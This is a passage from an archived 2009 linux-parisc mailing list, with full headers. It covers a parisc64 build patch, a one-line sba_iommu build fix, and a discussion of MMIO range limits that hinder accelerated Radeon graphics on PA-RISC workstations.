References: <49862F11.5000808@gmx.de> <20090313045537.GC3907@bombadil.infradead.org> <49BC17CA.9020004@gmx.de> <20090314204922.GA3167@bombadil.infradead.org> <49BC19F0.1080405@gmx.de> <20090314210607.GB3167@bombadil.infradead.org> <49BC20D0.8070405@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237066038 25490 80.91.229.12 (14 Mar 2009 21:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2009 21:27:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 14 22:28:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LibPE-0002Zp-Nz
	for glpp-linux-parisc@gmane.org; Sat, 14 Mar 2009 22:28:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753839AbZCNV1J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 17:27:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753377AbZCNV1I
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 17:27:08 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34076 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753839AbZCNV1I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 17:27:08 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LibNn-0004G6-6R; Sat, 14 Mar 2009 21:27:03 +0000
Content-Disposition: inline
In-Reply-To: <49BC20D0.8070405@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1387
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1387>

On Sat, Mar 14, 2009 at 10:25:36PM +0100, Helge Deller wrote:
> 
> Everyone besides me it seems :-)
> 
> Shame on me ... seems you are right.
> sorry.
> 

heh, dude, not your fault. I guess you've just been at this
a lot longer than I have. :)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Sat, 14 Mar 2009 17:27:41 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090314212741.GD3167@bombadil.infradead.org>
References: <49862F11.5000808@gmx.de> <20090313045537.GC3907@bombadil.infradead.org> <49BC17CA.9020004@gmx.de> <20090314204922.GA3167@bombadil.infradead.org> <49BC19F0.1080405@gmx.de> <20090314210607.GB3167@bombadil.infradead.org> <49BC20D0.8070405@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237066073 25564 80.91.229.12 (14 Mar 2009 21:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2009 21:27:53 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 14 22:29:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LibPp-0002Zp-4e
	for glpp-linux-parisc@gmane.org; Sat, 14 Mar 2009 22:29:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751242AbZCNV1q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 17:27:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751689AbZCNV1p
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 17:27:45 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34086 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751242AbZCNV1p (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 17:27:45 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LibOQ-0004HV-0D; Sat, 14 Mar 2009 21:27:42 +0000
Content-Disposition: inline
In-Reply-To: <49BC20D0.8070405@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1388
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1388>

On Sat, Mar 14, 2009 at 10:25:36PM +0100, Helge Deller wrote:
> 
> Everyone besides me it seems :-)
> 
> Shame on me ... seems you are right.
> sorry.
> 

on second thought, if it makes your life measurably easier, i rescind
my nak and will merge the patch.

let me know,
	kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: sba_iommu: fix build bug when CONFIG_PARISC_AGP=y
Date: Sat, 14 Mar 2009 19:40:59 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20090314234059.GE3167@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237074073 12006 80.91.229.12 (14 Mar 2009 23:41:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2009 23:41:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 15 00:42:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LidUp-0005g4-It
	for glpp-linux-parisc@gmane.org; Sun, 15 Mar 2009 00:42:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752367AbZCNXlE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 19:41:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752755AbZCNXlE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 19:41:04 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44991 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752367AbZCNXlB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 19:41:01 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LidTP-0002Q4-HE; Sat, 14 Mar 2009 23:40:59 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1389
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1389>

From: Kyle McMartin <kyle@mcmartin.ca>

  CC      drivers/parisc/sba_iommu.o
drivers/parisc/sba_iommu.c:1373: error: expected identifier or '('
before '}' token
make[2]: *** [drivers/parisc/sba_iommu.o] Error 1
make[1]: *** [drivers/parisc] Error 2
make: *** [drivers] Error 2

Don't know how this has gone missed for so long... clearly I need
to do builds on my C8000 more often.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 6aad854..e5999c4 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1367,9 +1367,7 @@ sba_ioc_init_pluto(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
 		ioc->pdir_size /= 2;
 		ioc->pdir_base[PDIR_INDEX(iova_space_size/2)] = SBA_AGPGART_COOKIE;
 	}
-}
 #endif /*SBA_AGP_SUPPORT*/

From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Possible accelerated X on PA-RISC with kernel modesetting -- anyone 
	investigating?
Date: Sat, 14 Mar 2009 21:02:45 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <b4198de60903141802p14f3d7f8ra33ba382ae6b8d85@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237078977 21236 80.91.229.12 (15 Mar 2009 01:02:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Mar 2009 01:02:57 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 15 02:04:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lielw-00051w-SC
	for glpp-linux-parisc@gmane.org; Sun, 15 Mar 2009 02:04:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751144AbZCOBCs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 21:02:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751462AbZCOBCs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 21:02:48 -0400
Original-Received: from yx-out-2324.google.com ([74.125.44.29]:22427 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751144AbZCOBCr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 21:02:47 -0400
Original-Received: by yx-out-2324.google.com with SMTP id 8so627705yxm.1
        for <linux-parisc@vger.kernel.org>; Sat, 14 Mar 2009 18:02:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=7/19VB8W24owxfnAKs0RekM2Fn1dZo2Xl5PsMRnewh4=;
        b=o/WSgQ7N5qJrfkOqIkAk/MumKYroR4SE2qdrb5nR5tDGWGP4IZeO1J2CAIg5hiABfo
         ShrORMI6bcy6UOHrnQ+xRaQdMgqighRpS5Sg8N0qQgZqENmmiVYyZdcBZ7RcErgGHpJs
         nqJ4ydjvaFalSqoFmLufP6G0/JQ2Rl0bdky58=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=DjeBl35+GMAbDmLiKl6DfbmXV5vVe0UP+OAnepBJyxdNUCzukRjd01liVNgHTCvLl7
         zbNggmj88tE0+U4t3WsNeBAjOLOyWPyGVDTE8FUcv9g06T4HXGmDONLZiyUj1OovVll6
         hihoLFBuxTYLuq4PjZzgjt75uMy4ioSmV7bpw=
Original-Received: by 10.150.229.16 with SMTP id b16mr2083494ybh.55.1237078965150; Sat, 
	14 Mar 2009 18:02:45 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1390
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1390>

Hi,

It hasn't been possible to use X on PA-RISC without unaccelerated
fbdev to my knowledge.

Evidently [*], there is a possibility of this changing relatively soon
via Radeon kernel modesetting.

Is anyone aware of this development? Is anyone interested in
accelerated X on PA-RISC? Is anyone investigating what it will take to
support PA-RISC?

R500 and R600 Radeon PCI cards are cheap, and will be supported. I
guess the C8000 has larger performance problems to worry about, but
the AGP slot it offers would open up the selection of graphics cards
to include much faster R600-series cards, and future cards if they
ever produce more AGP compatible ones.

I'd sure be nice to put an X1550 or 2400HD in my J6700 and have an
accelerated desktop.

Thanks,

Matt Turner

* http://lists.freedesktop.org/archives/xorg/2008-July/037059.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Possible accelerated X on PA-RISC with kernel modesetting --
	anyone investigating?
Date: Sat, 14 Mar 2009 21:46:21 -0400
Lines: 105
Approved: news@gmane.org
Message-ID: <20090315014621.GF3167@bombadil.infradead.org>
References: <b4198de60903141802p14f3d7f8ra33ba382ae6b8d85@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237081592 25452 80.91.229.12 (15 Mar 2009 01:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Mar 2009 01:46:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 15 02:47:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LifS7-0003rB-JM
	for glpp-linux-parisc@gmane.org; Sun, 15 Mar 2009 02:47:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752667AbZCOBqX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 21:46:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753479AbZCOBqX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 21:46:23 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39579 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752667AbZCOBqX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 21:46:23 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LifQj-000733-4h; Sun, 15 Mar 2009 01:46:21 +0000
Content-Disposition: inline
In-Reply-To: <b4198de60903141802p14f3d7f8ra33ba382ae6b8d85@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1391>

Apologies for the wordiness of this mail, it's been a struggle to
remember some of the details, and I haven't really thought about this
since 2006 or early 2007. Also, apologies in advance for any incorrect
facts here, this stuff isn't very well documented and I've never worked
for HP so I don't have access to the confidential docs.

The short answer is, I don't think this will really work, but I don't
mean to phrase this in such a way to discourage anyone from trying.

On Sat, Mar 14, 2009 at 09:02:45PM -0400, Matt Turner wrote:
> Hi,
> 
> It hasn't been possible to use X on PA-RISC without unaccelerated
> fbdev to my knowledge.
> 
> Evidently [*], there is a possibility of this changing relatively soon
> via Radeon kernel modesetting.
> 
> Is anyone aware of this development? Is anyone interested in
> accelerated X on PA-RISC? Is anyone investigating what it will take to
> support PA-RISC?
> 
> R500 and R600 Radeon PCI cards are cheap, and will be supported. I
> guess the C8000 has larger performance problems to worry about, but
> the AGP slot it offers would open up the selection of graphics cards
> to include much faster R600-series cards, and future cards if they
> ever produce more AGP compatible ones.
> 
> I'd sure be nice to put an X1550 or 2400HD in my J6700 and have an
> accelerated desktop.
> 

[[ Glossary:
- rope: the thing which connects the IO controller (Astro) and the 
  IO adapter (Elroy), an elroy has a pci bus behind it.
  An elroy can be single roped, or double roped, which distributes
  an address range to the PCI bus behind the elroy. There's 8 ropes to
  an Astro/Pluto, they may not all point somewhere.
- LMMIO: less-than-4GB mmio (the limited (256MB - 16MB (iirc)) 32-bit
  IO space.
- GMMIO: greather-than-4GB mmio
- DAC: double address cycle, 64-bit pci BARs
- distributed range: a $n-MB IO-space divided evenly across all ropes
- directed range: limited $n-MB (0, or 8 to 64MB) directed at a single
  rope.]]

The problem with basically every modern graphics card is mapping the
framebuffer. PDC will give the finger to anything with a framebuffer
bar bigger than 128M (maybe even 128M on some models) and we don't have
anything near the infrastructure right now to reprogram the elroy and
astro range registers to route pci devices.

Ontop of that, it's actually extremely difficult to map 256MB
framebuffers with elroy because of the way distributed and directed
ranges work. I can't remember all the details, because of how long
it's been, but I believe:

LMMIO directed ranges (of which there are 3) are maximum 64MB in size,
which means we can map only 64MB*3 to one card, max, plus however
much distributed range (up to 64MB each rope) is allocated to that rope.

The basic means that each PCI bus behind an elroy gets at most 64MB,
plus up to 192MB of directed MMIO.

I don't know if the newer cards can do DAC, but if they can, then we
could at least use the distributed GMMIO (greater-than-4GB mmio)
range to map a wide swath to every rope, which /would/ work.

(My C8000 won't boot with a PCI r500 card in it, it fails during PDC
 init, sadly. I think it was a X1300 or something.)

I cannot off-hand recall the address map on Astro, but I believe
you have 3.75GB of memory, 16MB of PDC space, and 240MB of IO-space for
all cards. Because of the need for a distributed range (otherwise you
don't have enough directed ranges for all the ropes.) of at least 8MB
in size (so 1MB per rope), you only have 232MB of space left.

The reason for all of this is because Astro workstations are
fundamentally still 32-bit, so you want to maximize the amount of useful
RAM they had below 4GB.

On Pluto (aka: C8000) the zx1 address map gives us a full GB or two
of less than 32-bit address space, since all zx1 machines are proper
64-bit machines and can address RAM above 4GB.

On something like a J6000 you have 3 pci slots each behind their own
elroy, and thus, their own rope.

... Hmm, I should probably write this all up on the wiki or something.

I have (some) code that's capable of dropping all the ranges on my
C3000, and then reprogramming it in a somewhat more optimal way, but
I don't know where it's gone in the intervening 3 years or so. :/

Feel free to hit me up if you have any other questions. I'd appreciate
it if any current or former HP folks could correct anything I'd said
here that might be incorrect, since the public documentation is fairly
non-existant I've had to try to fill in the blanks where I can.

Thanks for listening, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Possible accelerated X on PA-RISC with kernel modesetting --
	anyone investigating?
Date: Sat, 14 Mar 2009 22:03:01 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20090315020301.GG3167@bombadil.infradead.org>
References: <b4198de60903141802p14f3d7f8ra33ba382ae6b8d85@mail.gmail.com> <20090315014621.GF3167@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237082593 27042 80.91.229.12 (15 Mar 2009 02:03:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Mar 2009 02:03:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 15 03:04:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LifiG-0006UB-VX
	for glpp-linux-parisc@gmane.org; Sun, 15 Mar 2009 03:04:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751635AbZCOCDF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 22:03:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751980AbZCOCDF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 22:03:05 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54882 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751635AbZCOCDD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 22:03:03 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lifgr-0005sQ-5X; Sun, 15 Mar 2009 02:03:01 +0000
Content-Disposition: inline
In-Reply-To: <20090315014621.GF3167@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1392
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1392>

On Sat, Mar 14, 2009 at 09:46:21PM -0400, Kyle McMartin wrote:
> I don't know if the newer cards can do DAC, but if they can, then we
> could at least use the distributed GMMIO (greater-than-4GB mmio)
> range to map a wide swath to every rope, which /would/ work.
> 
> (My C8000 won't boot with a PCI r500 card in it, it fails during PDC
>  init, sadly. I think it was a X1300 or something.)
> 

Ah, more stuff I remembered. Pluto's GMMIO_DIST_BASE register has useful
features that let it clip the top 32-bits of the transaction address
off, so you can give each rope a full 4GB mmio space and a bit to turn
off the port-IO space from each range, reclaiming another 64MB for each
rope.

I should pick up another couple models of PCI r[56]00 to try in the
C8000... not sure why the firmware choked on the old r500.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Sun, 15 Mar 2009 11:08:00 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <49BCD380.6030309@gmx.de>
References: <49862F11.5000808@gmx.de> <20090313045537.GC3907@bombadil.infradead.org> <49BC17CA.9020004@gmx.de> <20090314204922.GA3167@bombadil.infradead.org> <49BC19F0.1080405@gmx.de> <20090314210607.GB3167@bombadil.infradead.org> <49BC20D0.8070405@gmx.de> <20090314212741.GD3167@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237111705 8871 80.91.229.12 (15 Mar 2009 10:08:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Mar 2009 10:08:25 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 15 11:09:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LinHi-00050y-M9
	for glpp-linux-parisc@gmane.org; Sun, 15 Mar 2009 11:09:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754436AbZCOKIJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Mar 2009 06:08:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758860AbZCOKIJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Mar 2009 06:08:09 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:43219 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754436AbZCOKII (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Mar 2009 06:08:08 -0400
Original-Received: (qmail invoked by alias); 15 Mar 2009 10:08:03 -0000
Original-Received: from mnhm-590f68ed.pool.einsundeins.de (EHLO [192.168.178.60]) [89.15.104.237]
  by mail.gmx.net (mp070) with SMTP; 15 Mar 2009 11:08:03 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/Qx6ECfufQO4JV6xoeDvnd1aes9aQQ7HExwl2XeU
	u8oNIeV59BKu+L
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
In-Reply-To: <20090314212741.GD3167@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.71
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1393
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1393>

Kyle McMartin wrote:
> On Sat, Mar 14, 2009 at 10:25:36PM +0100, Helge Deller wrote:
>> Everyone besides me it seems :-)
>>
>> Shame on me ... seems you are right.
>> sorry.
>>
> 
> on second thought, if it makes your life measurably easier, i rescind
> my nak and will merge the patch.
> 
> let me know,
> 	kyle

Thanks for the offer, Kyle.
But I think I can easily change my scripts, so it's not necessary.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PULL] cpumask updates for parisc
Date: Mon, 16 Mar 2009 14:44:35 +1030
Lines: 208
Approved: news@gmane.org
Message-ID: <200903161444.36219.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237177037 1228 80.91.229.12 (16 Mar 2009 04:17:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Mar 2009 04:17:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	mingo@redhat.com, travis@sgi.com
To: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756451AbZCPEQe@vger.kernel.org Mon Mar 16 05:18:32 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756451AbZCPEQe@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lj4HX-0003Nt-BM
	for glk-linux-kernel-3@gmane.org; Mon, 16 Mar 2009 05:18:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
